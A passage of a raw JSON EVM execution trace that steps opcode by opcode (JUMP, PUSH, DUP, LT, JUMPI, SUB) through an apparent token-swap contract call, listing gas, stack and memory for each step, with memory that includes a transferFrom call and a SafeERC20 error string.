ea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":11925,"op":"JUMP","gas":19196,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15130,"op":"JUMPDEST","gas":19188,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15131,"op":"PUSH1","gas":19187,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15133,"op":"DUP3","gas":19184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15134,"op":"DUP3","gas":19181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15135,"op":"LT","gas":19178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15136,"op":"ISZERO","gas":19175,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15137,"op":"PUSH2","gas":19172,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15140,"op":"JUMPI","gas":19169,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15148,"op":"JUMPDEST","gas":19159,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15149,"op":"POP","gas":19158,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15150,"op":"SUB","gas":19156,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15151,"op":"SWAP1","gas":19153,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x2e96","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000